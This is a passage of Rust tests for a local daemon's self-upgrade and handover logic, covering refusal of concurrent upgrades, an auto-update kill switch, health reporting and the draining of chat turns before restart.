18789 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
18790 std::thread::sleep(Duration::from_millis(5));
18791 }
18792 assert!(!talks.turn_held(id), "the lease is released first");
18793 assert!(slots.live.contains(id), "the slot is still held meanwhile");
18794 drop(slots);
18795 dropper.join().expect("join");
18796 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
18797 }
18798
18799 #[tokio::test]
18800 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
18801 let fx = Fixture::start().await;
18802 let mut beat = crate::daemon::Status::new();
18806 beat.pid = 4321;
18807 beat.updated_at = jiff::Timestamp::now();
18808 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
18809 .expect("publish a heartbeat");
18810
18811 let res = fx.post("/api/upgrade", None).await;
18812 assert_eq!(res.status, 409);
18813 let err = res.json()["error"].as_str().unwrap().to_owned();
18814 assert!(err.contains("4321"), "the refusal names the owner: {err}");
18815 assert!(err.contains("old one against the same queue"), "{err}");
18816 }
18817
18818 #[test]
18825 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
18826 assert!(!should_spawn_recheck(&crate::config::Update {
18827 mode: UpdateMode::Off,
18828 interval: None,
18829 }));
18830
18831 unsafe {
18834 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
18835 }
18836 let killed = should_spawn_recheck(&crate::config::Update {
18837 mode: UpdateMode::Notify,
18838 interval: None,
18839 });
18840 unsafe {
18841 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
18842 }
18843 assert!(
18844 !killed,
18845 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
18846 one-time startup check"
18847 );
18848
18849 assert!(should_spawn_recheck(&crate::config::Update {
18850 mode: UpdateMode::Notify,
18851 interval: None,
18852 }));
18853 }
18854
18855 #[test]
18861 fn recheck_poll_period_tracks_a_short_configured_interval() {
18862 let short = crate::config::Update {
18863 mode: UpdateMode::Notify,
18864 interval: Some("1m".to_owned()),
18865 };
18866 let period = recheck_poll_period(&short);
18867 assert!(
18868 period <= Duration::from_secs(30),
18869 "a one-minute interval must wake the task far sooner than the \
18870 default ceiling, or the deck would not notice within the \
18871 interval the operator configured: got {period:?}"
18872 );
18873
18874 let default = crate::config::Update {
18875 mode: UpdateMode::Notify,
18876 interval: None,
18877 };
18878 assert_eq!(
18879 recheck_poll_period(&default),
18880 UPDATE_RECHECK_POLL_MAX,
18881 "the default day-long interval should poll at the (capped) \
18882 ceiling rather than needlessly often"
18883 );
18884 }
18885
18886 #[test]
18894 fn recheck_skips_the_network_before_the_interval_elapses() {
18895 let dir = TempDir::new().expect("temp dir");
18896 let path = dir.path().join("state.json");
18897 let state = kaishin::UpdateCheckState {
18898 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
18899 last_known_latest: None,
18900 last_known_url: None,
18901 };
18902 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
18903
18904 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
18905 assert!(
18906 !update_recheck_due(&checker, None),
18907 "a check made moments ago must not be repeated before the \
18908 configured interval elapses"
18909 );
18910 }
18911
18912 #[test]
18918 fn recheck_defers_to_an_upgrade_already_in_flight() {
18919 let dir = TempDir::new().expect("temp dir");
18920 let path = dir.path().join("state.json");
18921 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
18922 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
18923
18924 assert!(
18925 !update_recheck_due(&checker, Some(&progress)),
18926 "a recheck must not run while an upgrade this deck started is \
18927 still moving"
18928 );
18929 }
18930
18931 #[tokio::test]
18932 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
18933 unsafe {
18945 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
18946 }
18947 let fx = Fixture::start().await;
18948 let res = fx.post("/api/upgrade", None).await;
18949 unsafe {
18950 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
18951 }
18952 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
18953 let body = res.json();
18954 assert!(body["to"].is_null(), "there was no release to move to");
18955 assert!(body["parked"].is_null(), "and nothing was parked");
18956 assert!(
18957 body["detail"]
18958 .as_str()
18959 .unwrap()
18960 .contains("disabled by MAGI_NO_AUTOUPDATE"),
18961 "{body:?}"
18962 );
18963 }
18964
18965 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
18966 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
18967 p.stage = stage;
18968 p
18969 }
18970
18971 #[test]
18972 fn busy_stages_match_the_ui_set() {
18973 use crate::updater::Stage;
18974 assert!(APP_JS.contains(
18975 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
18976 ));
18977 for s in [
18978 Stage::Downloading,
18979 Stage::Replaced,
18980 Stage::Parking,
18981 Stage::Restarting,
18982 ] {
18983 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
18984 }
18985 for s in [Stage::Done, Stage::Failed] {
18986 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
18987 }
18988 assert!(upgrade_in_motion(None).is_none());
18989 }
18990
18991 #[tokio::test]
18992 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
18993 use crate::updater::Stage;
18994 for stage in [
18995 Stage::Downloading,
18996 Stage::Replaced,
18997 Stage::Parking,
18998 Stage::Restarting,
18999 ] {
19000 let fx = Fixture::start().await;
19001 let seeded = seeded_progress(stage);
19002 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
19003 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
19004 .expect("read");
19005
19006 let res = fx.post("/api/upgrade", None).await;
19007 assert_eq!(res.status, 409, "{stage:?}");
19008 let err = res.json()["error"].as_str().unwrap().to_owned();
19009 assert!(err.contains("already in progress"), "{err}");
19010 assert!(err.contains(stage.as_str()), "{err}");
19011
19012 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
19013 .expect("read");
19014 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
19015 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
19016 .unwrap_or_default();
19017 assert!(!log.contains("signalling HANDOVER"), "{log}");
19018 }
19019 }
19020
19021 #[tokio::test]
19022 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
19023 use crate::updater::Stage;
19024 let repo = TempDir::new().expect("repo dir");
19025 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
19026 .expect("write magi.toml");
19027 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
19028 for stage in [Stage::Done, Stage::Failed] {
19029 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
19030 let res = fx.post("/api/upgrade", None).await;
19031 assert_eq!(res.status, 200, "{stage:?}");
19032 }
19033 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
19035 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
19036 }
19037
19038 #[tokio::test]
19039 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
19040 let repo = TempDir::new().expect("repo dir");
19056 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
19057 .expect("write magi.toml");
19058 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
19059
19060 let res = fx.post("/api/upgrade", None).await;
19066 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
19067 let body = res.json();
19068 assert!(body["to"].is_null(), "there was no release to move to");
19069 assert!(body["parked"].is_null(), "and nothing was parked");
19070 assert!(
19071 body["detail"]
19072 .as_str()
19073 .unwrap()
19074 .contains("nothing restarted"),
19075 "{body:?}"
19076 );
19077 }
19078
19079 #[tokio::test]
19080 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
19081 let repo = TempDir::new().expect("repo dir");
19086 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
19087 .expect("write magi.toml");
19088 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
19089
19090 let health = fx.get("/api/health").await.json();
19091 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
19092 assert_eq!(
19093 health["update"]["available"], false,
19094 "checking is off, which reads as \"unknown\", not \"none\""
19095 );
19096 assert!(health["update"]["to"].is_null());
19097 assert!(
19098 health["upgrade"].is_null(),
19099 "nothing has ever asked this deck to upgrade"
19100 );
19101 }
19102
19103 #[tokio::test]
19104 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
19105 let fx = Fixture::start().await;
19106 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
19107
19108 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
19109 progress.parked_run = Some("20260905-000000-cd51".to_owned());
19110 progress.advance(crate::updater::Stage::Parking);
19111 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
19112
19113 let health = fx.get("/api/health").await.json();
19114 assert_eq!(health["upgrade"]["stage"], "parking");
19115 assert_eq!(health["upgrade"]["from"], "0.5.1");
19116 assert_eq!(health["upgrade"]["to"], "0.5.2");
19117 let waiting_on = health["upgrade"]["waiting_on"]
19118 .as_str()
19119 .expect("waiting_on is set while parking a known run");
19120 assert!(waiting_on.contains("cd51"), "{waiting_on}");
19121 assert!(waiting_on.contains("implementing"), "{waiting_on}");
19122 }
19123
19124 #[tokio::test]
19125 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
19126 let fx = Fixture::start().await;
19127 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
19128 progress.advance(crate::updater::Stage::Done);
19129 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
19130
19131 let health = fx.get("/api/health").await.json();
19132 assert_eq!(health["upgrade"]["stage"], "done");
19133 assert!(
19134 health["upgrade"]["waiting_on"].is_null(),
19135 "nothing to wait on once it is done"
19136 );
19137 }
19138
19139 #[tokio::test]
19140 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
19141 let home = TempDir::new().expect("temp home");
19142 let runs = home.path().join("runs");
19143 std::fs::create_dir_all(&runs).expect("runs dir");
19144 let ui = Ui::new(
19145 Queue::at(home.path().join("queue")),
19146 Questions::at(home.path().join("questions")),
19147 Talks::at(home.path().join("talks")),
19148 runs,
19149 home.path().to_path_buf(),
19150 PathBuf::from("/repo/magi"),
19151 )
19152 .with_launch(launch_idle);
19153 let looping = ui.looping();
19154 let turns = ui.turns();
19155 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
19156 .await
19157 .expect("bind loopback");
19158 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
19159
19160 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
19161 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
19162
19163 hand_over(
19164 home.path(),
19165 &looping,
19166 &turns,
19167 &|_: &[String]| Duration::from_secs(5),
19168 served,
19169 |_| Ok(1),
19170 )
19171 .await
19172 .expect("hand over");
19173
19174 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
19175 assert_eq!(
19176 after.stage,
19177 crate::updater::Stage::Restarting,
19178 "hand_over owns the record through parking and up to restarting; \
19179 the successor is what finishes it"
19180 );
19181 }
19182
19183 #[tokio::test]
19186 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
19187 for fail in [false, true] {
19188 let home = TempDir::new().expect("temp home");
19189 let ui = idle_ui(&home);
19190 let looping = ui.looping();
19191 let turns = ui.turns();
19192 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
19193 .await
19194 .expect("bind loopback");
19195 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
19196 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
19197 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
19198
19199 let calls = std::sync::atomic::AtomicUsize::new(0);
19200 let outcome = hand_over(
19201 home.path(),
19202 &looping,
19203 &turns,
19204 &|_: &[String]| Duration::from_secs(5),
19205 served,
19206 |_| {
19207 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
19208 if fail {
19209 anyhow::bail!("no exec")
19210 } else {
19211 Ok(4242)
19212 }
19213 },
19214 )
19215 .await;
19216 assert_eq!(outcome.is_err(), fail);
19217 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
19218
19219 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
19220 .expect("upgrade.log is written under the home");
19221 for step in [
19222 "entered",
19223 "finish_loop",
19224 "listener released",
19225 "starting the successor",
19226 ] {
19227 assert!(log.contains(step), "missing `{step}` in:\n{log}");
19228 }
19229 assert!(
19230 log.contains(if fail { "did not start" } else { "pid 4242" }),
19231 "{log}"
19232 );
19233 }
19234 }
19235
19236 #[tokio::test]
19239 async fn the_handover_signal_wakes_one_waiter_once() {
19240 let signal = Notify::new();
19241 signal.notify_one();
19243 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
19244 .await
19245 .expect("an early signal is still seen");
19246 assert!(
19248 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
19249 .await
19250 .is_err(),
19251 "a consumed signal must not wake a second time"
19252 );
19253 let signal = std::sync::Arc::new(signal);
19255 let waiter = tokio::spawn({
19256 let signal = std::sync::Arc::clone(&signal);
19257 async move { wait_for_handover(&signal).await }
19258 });
19259 tokio::time::sleep(Duration::from_millis(20)).await;
19260 assert!(!waiter.is_finished(), "nothing was signalled yet");
19261 signal.notify_one();
19262 tokio::time::timeout(Duration::from_secs(5), waiter)
19263 .await
19264 .expect("a late signal wakes the waiter")
19265 .expect("join");
19266 }
19267
19268 #[tokio::test]
19269 async fn health_says_how_long_a_handover_has_been_stuck() {
19270 let fx = Fixture::start().await;
19271 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
19272 progress.advance(crate::updater::Stage::Replaced);
19273 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
19274 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
19275
19276 let health = fx.get("/api/health").await.json();
19277 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
19278 assert!(stuck >= 600, "{stuck}");
19279 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
19280 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
19281 }
19282
19283 #[tokio::test]
19284 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
19285 let home = tempfile::tempdir().expect("temp home");
19286 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
19287 progress.advance(crate::updater::Stage::Parking);
19288 crate::updater::write_progress(home.path(), &progress).expect("seed");
19289 let mut again = progress.clone();
19291 again.advance(crate::updater::Stage::Replaced);
19292 crate::updater::write_progress(home.path(), &again).expect("replaced");
19293 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
19294 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
19295 let after = crate::updater::read_progress(home.path()).expect("record");
19296 assert_eq!(after.stage, crate::updater::Stage::Parking);
19297 }
19298
19299 #[tokio::test]
19300 async fn health_does_not_call_a_live_parking_wait_stuck() {
19301 let fx = Fixture::start().await;
19302 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
19303 progress.parked_run = Some("20260905-000000-cd51".to_owned());
19304 progress.advance(crate::updater::Stage::Parking);
19305 let hours = Duration::from_secs(3 * 3600);
19306 progress.started_at = Timestamp::now() - hours;
19307 progress.updated_at = Timestamp::now() - hours;
19308 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
19309 let _lease = crate::updater::LeaseGuard::enter(
19310 fx.home.path(),
19311 Some("20260905-000000-cd51".to_owned()),
19312 );
19313
19314 let health = fx.get("/api/health").await.json();
19315 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
19316 assert!(health["upgrade"]["stuck_kind"].is_null());
19317 assert_eq!(health["upgrade"]["handover_alive"], true);
19318 let waiting_on = health["upgrade"]["waiting_on"]
19319 .as_str()
19320 .expect("waiting_on");
19321 assert!(waiting_on.contains("cd51"), "{waiting_on}");
19322 }
19323
19324 fn idle_ui(home: &TempDir) -> Ui {
19325 let runs = home.path().join("runs");
19326 std::fs::create_dir_all(&runs).expect("runs dir");
19327 Ui::new(
19328 Queue::at(home.path().join("queue")),
19329 Questions::at(home.path().join("questions")),
19330 Talks::at(home.path().join("talks")),
19331 runs,
19332 home.path().to_path_buf(),
19333 PathBuf::from("/repo/magi"),
19334 )
19335 .with_launch(launch_idle)
19336 }
19337
19338 async fn park_fixture(
19339 home: &TempDir,
19340 ) -> (
19341 Ui,
19342 Arc<Mutex<LoopState>>,
19343 Arc<Mutex<TalkTurns>>,
19344 tokio::task::JoinHandle<std::io::Result<()>>,
19345 ) {
19346 let ui = idle_ui(home);
19347 let looping = ui.looping();
19348 let turns = ui.turns();
19349 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
19350 .await
19351 .expect("bind loopback");
19352 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
19353 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
19354 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
19355 (ui, looping, turns, served)
19356 }
19357
19358 #[tokio::test]
19362 async fn hand_over_waits_for_a_running_chat_turn() {
19363 let home = TempDir::new().expect("temp home");
19364 let (ui, looping, turns, served) = park_fixture(&home).await;
19365 let ui = Arc::new(ui);
19366 let id = "20260901-000000-chat";
19367 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
19368
19369 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
19370 let handover = tokio::spawn({
19371 let home = home.path().to_path_buf();
19372 let turns = Arc::clone(&turns);
19373 let calls = Arc::clone(&calls);
19374 async move {
19375 hand_over(
19376 &home,
19377 &looping,
19378 &turns,
19379 &|_: &[String]| Duration::from_secs(60),
19380 served,
19381 move |_| {
19382 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
19383 Ok(1)
19384 },
19385 )
19386 .await
19387 }
19388 });
19389
19390 let waiting = async {
19391 for _ in 0..200 {
19392 if crate::updater::read_progress(home.path())
19393 .is_some_and(|p| p.parked_talks == [id.to_owned()])
19394 {
19395 return;
19396 }
19397 tokio::time::sleep(Duration::from_millis(25)).await;
19398 }
19399 panic!("the park never named the chat turn");
19400 };
19401 waiting.await;
19402 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
19403
19404 let refused = ui.begin_talk_turn("20260901-000000-late").err();
19407 assert!(
19408 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
19409 "a direct start says an upgrade is in progress"
19410 );
19411 assert!(
19412 ui.begin_queued_talk_turn("20260901-000000-late")
19413 .expect("queued claim")
19414 .is_none()
19415 );
19416 assert!(matches!(
19417 ui.begin_talk_turn_unless_pending("20260901-000000-late")
19418 .expect("start"),
19419 TalkTurnStart::Busy
19420 ));
19421 assert_eq!(turns.lock().unwrap().live.len(), 1);
19422
19423 let progress = crate::updater::read_progress(home.path()).expect("progress");
19425 let view = upgrade_progress_view(&ui, progress);
19426 assert!(
19427 view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
19428 "{:?}",
19429 view.waiting_on
19430 );
19431
19432 assert!(!handover.is_finished());
19433 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
19434 drop(turn);
19435 handover.await.expect("join").expect("hand over");
19436 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
19437 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
19438 }
19439
19440 #[tokio::test]
19443 async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
19444 let home = TempDir::new().expect("temp home");
19445 let (ui, looping, turns, served) = park_fixture(&home).await;
19446 let ui = Arc::new(ui);
19447 let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
19449 lock_or_recover(&looping).live = Some(Live {
19450 stop: daemon::Stop::new(),
19451 handle: tokio::spawn(async move {
19452 let _ = loop_ended.await;
19453 }),
19454 opts: daemon::Opts::default(),
19455 });
19456
19457 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
19458 let handover = tokio::spawn({
19459 let home = home.path().to_path_buf();
19460 let turns = Arc::clone(&turns);
19461 let calls = Arc::clone(&calls);
19462 async move {
19463 hand_over(
19464 &home,
19465 &looping,
19466 &turns,
19467 &|_: &[String]| Duration::from_secs(60),
19468 served,
19469 move |_| {
19470 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
19471 Ok(1)
19472 },
19473 )
19474 .await
19475 }
19476 });
19477
19478 let reached = async {
19479 for _ in 0..200 {
19480 if crate::updater::read_progress(home.path())
19481 .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
19482 {
19483 return;
19484 }
19485 tokio::time::sleep(Duration::from_millis(25)).await;
19486 }
19487 panic!("the hand-over never reached parking");
19488 };
19489 reached.await;
19490
19491 assert!(!turns.lock().unwrap().parking);
19493 let turn = ui
19494 .begin_talk_turn("20260901-000000-chat")
19495 .expect("claim")
19496 .expect("a turn can start while the loop parks");
19497
19498 end_loop.send(()).expect("loop still waiting");
19500 for _ in 0..200 {
19501 if turns.lock().unwrap().parking {
19502 break;
19503 }
19504 tokio::time::sleep(Duration::from_millis(25)).await;
19505 }
19506 assert!(
19507 turns.lock().unwrap().parking,
19508 "closed once the loop is done"
19509 );
19510 let refused = ui.begin_talk_turn("20260901-000000-late").err();
19511 assert!(
19512 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
19513 "no turn starts once the loop is done"
19514 );
19515 assert!(
19516 ui.begin_queued_talk_turn("20260901-000000-late")
19517 .expect("queued claim")
19518 .is_none()
19519 );
19520 assert!(!handover.is_finished());
19521 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
19522
19523 drop(turn);
19524 handover.await.expect("join").expect("hand over");
19525 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
19526 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
19527 }
19528
19529 #[tokio::test]
19532 async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
19533 let home = TempDir::new().expect("temp home");
19534 let (ui, looping, turns, served) = park_fixture(&home).await;
19535 let id = "20260901-000000-stuk";
19536 let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
19537
19538 let calls = std::sync::atomic::AtomicUsize::new(0);
19539 hand_over(
19540 home.path(),
19541 &looping,
19542 &turns,
19543 &|_: &[String]| Duration::from_millis(300),
19544 served,
19545 |_| {
19546 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
19547 Ok(1)
19548 },
19549 )
19550 .await
19551 .expect("hand over");
19552 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
19553
19554 let progress = crate::updater::read_progress(home.path()).expect("progress");
19555 assert_eq!(progress.stage, crate::updater::Stage::Restarting);
19556 assert!(
19557 progress.detail.as_deref().is_some_and(|d| d.contains(id)),
19558 "{:?}",
19559 progress.detail
19560 );
19561 let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
19562 assert!(
19563 log.contains("handing over anyway") && log.contains(id),
19564 "{log}"
19565 );
19566 }
19567
19568 #[tokio::test]
19571 async fn drain_loop_starts_no_turn_while_parking() {
19572 let tmp = TempDir::new().expect("tempdir");
19573 let repo = tmp.path().join("repo");
19574 std::fs::create_dir_all(&repo).expect("repo dir");
19575 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
19576 let home = TempDir::new().expect("temp home");
19577 let talks = Talks::at(home.path().join("talks"));
19578 let ui = Ui::new(
19579 Queue::at(home.path().join("queue")),
19580 Questions::at(home.path().join("questions")),
19581 talks.clone(),
19582 home.path().join("runs"),
19583 home.path().to_path_buf(),
19584 repo.clone(),
19585 )
19586 .with_worktrees_root(home.path().join("wt"));
19587 let cfg = config_for(&repo).await.expect("discover config");
19588 let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
19589 let id = talk.id.clone();
19590 talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
19591 let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
19592 let turns = ui.turns();
19593 let parking = ParkingTurns::begin(&turns);
19594
19595 drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
19596
19597 assert!(
19598 turns.lock().unwrap().live.is_empty(),
19599 "the slot is given up"
19600 );
19601 let fresh = talks.get(&id).expect("talk");
19602 assert_eq!(fresh.pending, "later", "the draft is still queued");
19603 assert!(fresh.turns.is_empty(), "no turn ran");
19604 drop(parking);
19605 }
19606
19607 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
19609 let looping = ui.looping();
19610 let turns = ui.turns();
19611 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
19612 .await
19613 .expect("bind loopback");
19614 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
19615 let told = std::sync::Mutex::new(None);
19616 hand_over(
19617 home.path(),
19618 &looping,
19619 &turns,
19620 &|_: &[String]| Duration::from_secs(5),
19621 served,
19622 |resume| {
19623 *told.lock().unwrap() = Some(resume);
19624 Ok(1)
19625 },
19626 )
19627 .await
19628 .expect("hand over");
19629 told.into_inner().unwrap().expect("successor was started")
19630 }
19631
19632 #[tokio::test]
19633 async fn a_running_loop_is_resumed_by_the_successor() {
19634 let home = TempDir::new().expect("temp home");
19635 let ui = idle_ui(&home);
19636 ui.start_loop(None).expect("start");
19637 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
19638 for _ in 0..500 {
19640 if !ui.loop_view(None).running {
19641 break;
19642 }
19643 tokio::time::sleep(Duration::from_millis(2)).await;
19644 }
19645 assert!(handed_over(&home, ui).await, "a running loop must resume");
19646
19647 let successor = idle_ui(&home);
19648 assert!(!successor.loop_view(None).running);
19649 assert!(successor.resume_after_handover(true));
19650 assert!(successor.loop_view(None).running);
19651 successor.stop_loop(None, false).expect("stop");
19652 }
19653
19654 #[tokio::test]
19655 async fn a_second_upgrade_request_keeps_the_resume_intent() {
19656 let home = TempDir::new().expect("temp home");
19657 let ui = idle_ui(&home);
19658 ui.start_loop(None).expect("start");
19659 ui.park_for_upgrade("0.1.0", Some("0.1.1"))
19660 .expect("first park");
19661 ui.park_for_upgrade("0.1.0", Some("0.1.1"))
19662 .expect("second park");
19663 assert!(handed_over(&home, ui).await);
19664 }
19665
19666 #[tokio::test]
19667 async fn a_stop_during_the_handover_wait_is_honoured() {
19668 let home = TempDir::new().expect("temp home");
19669 let ui = idle_ui(&home);
19670 ui.start_loop(None).expect("start");
19671 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
19672 ui.stop_loop(None, false).expect("stop");
19673 assert!(!handed_over(&home, ui).await);
19674 }
19675
19676 #[tokio::test]
19677 async fn an_idle_loop_stays_stopped_across_the_handover() {
19678 let home = TempDir::new().expect("temp home");
19679 let ui = idle_ui(&home);
19680 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
19681 assert!(!handed_over(&home, ui).await);
19682
19683 let successor = idle_ui(&home);
19684 assert!(!successor.resume_after_handover(false));
19685 assert!(!successor.loop_view(None).running);
19686 }
19687
19688 #[tokio::test]
19689 async fn a_loop_the_operator_stopped_is_not_resumed() {
19690 let home = TempDir::new().expect("temp home");
19691 let ui = idle_ui(&home);
19692 ui.start_loop(None).expect("start");
19693 ui.stop_loop(None, false).expect("stop");
19694 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
19695 assert!(!handed_over(&home, ui).await);
19696 }
19697
19698 #[test]
19699 fn only_an_explicit_one_requests_a_resume() {
19700 assert!(!resume_requested(None));
19701 assert!(!resume_requested(Some("0".into())));
19702 assert!(!resume_requested(Some("".into())));
19703 assert!(resume_requested(Some("1".into())));
19704 }
19705
19706 #[test]
19707 fn the_upgrade_button_arms_before_it_restarts_anything() {
19708 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
19711 assert!(APP_JS.contains("Replace the binary and restart?"));
19712 assert!(APP_JS.contains("function confirmed("));
19713 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
19718 assert!(
19722 APP_JS.contains("Parking, then restarting"),
19723 "the button says what it is waiting for"
19724 );
19725 assert!(APP_JS.contains("if (!out.to)"));
19728 }
19729
19730 #[test]
19731 fn stopping_the_loop_arms_but_starting_does_not() {
19732 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
19735 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
19736 assert!(APP_JS.contains("confirmed(button, question)"));
19737 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
19740 assert!(APP_JS.contains("const label = btn.textContent;"));
19741 assert!(!APP_JS.contains("Neither direction is guarded"));
19742 }
19743
19744 #[test]
19745 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
19746 assert!(
19747 APP_JS.contains("state.health.version"),
19748 "the operator wants to know what is running even with nothing newer"
19749 );
19750 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
19751 }
19752
19753 #[test]
19754 fn the_upgrade_button_names_its_destination() {
19755 assert!(
19756 APP_JS.contains("`Update to ${update.to}`"),
19757 "pressing the button should not be a surprise about what it moves to"
19758 );
19759 }
19760
19761 #[test]
